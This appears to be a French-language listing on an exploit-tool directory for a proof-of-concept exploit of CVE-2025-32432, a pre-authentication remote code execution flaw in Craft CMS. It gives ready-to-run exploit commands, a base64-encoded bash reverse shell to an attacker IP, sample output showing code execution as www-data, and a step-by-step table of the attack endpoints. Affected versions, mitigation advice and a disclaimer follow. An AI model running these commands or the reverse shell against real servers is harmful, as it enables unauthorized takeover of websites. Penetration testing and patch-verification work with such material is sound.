Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32432 — Exploit, POC pour CVE-2025-32432, CraftCMS2Shell | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2025-32432
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubc0gnit00/cve-2025-32432

CVE-2025-32432

Exploit, POC pour CVE-2025-32432, CraftCMS2Shell

Voir le dépôt
3il y a 29 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-32432 Craft CMS — PoC RCE pré-auth

Exécution de code à distance critique avant authentification dans Craft CMS

Versions concernées : Craft CMS 3.x, 4.x et 5.x (jusqu'à 5.6.16)

Info : Cet exploit a été testé contre la machine Orion de HackTheBox

Aperçu

Ce dépôt contient un exploit proof-of-concept pour CVE-2025-32432, une vulnérabilité critique d'exécution de code à distance avant authentification dans Craft CMS. Cette vulnérabilité permet à un attaquant non authentifié d'exécuter du code PHP arbitraire sur le serveur en exploitant le mécanisme d'attachement de comportement de Yii2 et l'instanciation d'objets PHP via la technique de remplacement __class.

Score CVSS : 10.0 (Critique)

Fonctionnalités

  • Exploitation pré-auth — Aucun identifiant requis
  • Compatibilité universelle — Fonctionne avec Craft CMS 3.x, 4.x et 5.x
  • Découverte automatique de l'ID d'asset — Force brute automatique des IDs d'assets valides
  • Extraction du jeton CSRF — Gère automatiquement la protection CSRF de Craft CMS
  • Repli sur le chemin de session — Réessaie automatiquement d'autres chemins de session PHP si le premier échoue

Prérequis

root@kitploit:~
pip install requests urllib3

Démarrage rapide

Exécution de commande de base

root@kitploit:~
python3 exploit.py -u http://target.com -c "id"

Shell inversé

root@kitploit:~
# Start listener on your machine
penelope -p 4444

# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64


# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"

Ignorer la force brute de l'ID d'asset (si connu)

root@kitploit:~
python3 exploit.py -u http://target.com -c "whoami" -a 11

Utiliser un chemin de session alternatif

root@kitploit:~
python3 exploit.py -u http://target.com -c "id" \
  -s "/tmp/sess_{}"

Utilisation

root@kitploit:~
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
                                [-s SESSION_PATH] [-q]

CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (e.g., http://target.com)
  -c, --command COMMAND
                        Command to execute
  -a, --asset-id ASSET_ID
                        Known valid asset ID (skip brute-force)
  -m, --max-asset MAX_ASSET
                        Max asset ID to brute-force (default: 300)
  -s, --session-path SESSION_PATH
                        Session file path template (default: /var/lib/php/sessions/sess_{})
  -q, --quiet           Suppress verbose output

Exemple de sortie

root@kitploit:~
$ python3 exploit.py -u http://orion.htb -c "id"

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2              ║
║  Target: http://orion.htb                                  ║
║  Command: id                                                  ║
╚══════════════════════════════════════════════════════════════╝

[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

Étapes de l'exploit

Versions affectées

BrancheVersions affectéesVersion corrigée
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 –

Atténuation

  1. Mettez à jour immédiatement vers la dernière version corrigée
  2. Surveillez les journaux pour détecter :
    • Des requêtes POST multiples vers /admin/actions/assets/generate-transform
    • Des requêtes GET vers les pages d'administration avec le paramètre a= contenant du code PHP
    • La présence de champs as dans le corps des requêtes POST
  3. Activez des règles WAF pour bloquer les motifs suspects

Crédits

  • Découverte originale : Orange Cyberdefense / SensePost
  • Article de blog : Investigating an in-the-wild campaign using RCE in CraftCMS
  • Auteur du PoC : Basé sur les recherches de SensePost, adapté pour HTB/les tests d'intrusion

Avertissement

Cet outil est réservé aux tests de sécurité autorisés et à des fins de recherche uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester.

Licence

Licence MIT — Voir le fichier LICENSE pour plus de détails.

Télécharger l’outil
ÉtapeActionPoint d'accèsAuthentification
1Extraire le cookie de session + le jeton CSRFGET /admin/loginNon
2Injecter la charge utile PHP dans le fichier de sessionGET /index.php?p=admin/dashboard&a=<PHP>Non
3Forcer brutalement un ID d'asset validePOST /index.php?p=admin/actions/assets/generate-transformNon
4Déclencher la RCE via le gadget PhpManagerPOST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD>Non
5.6.16
5.6.17+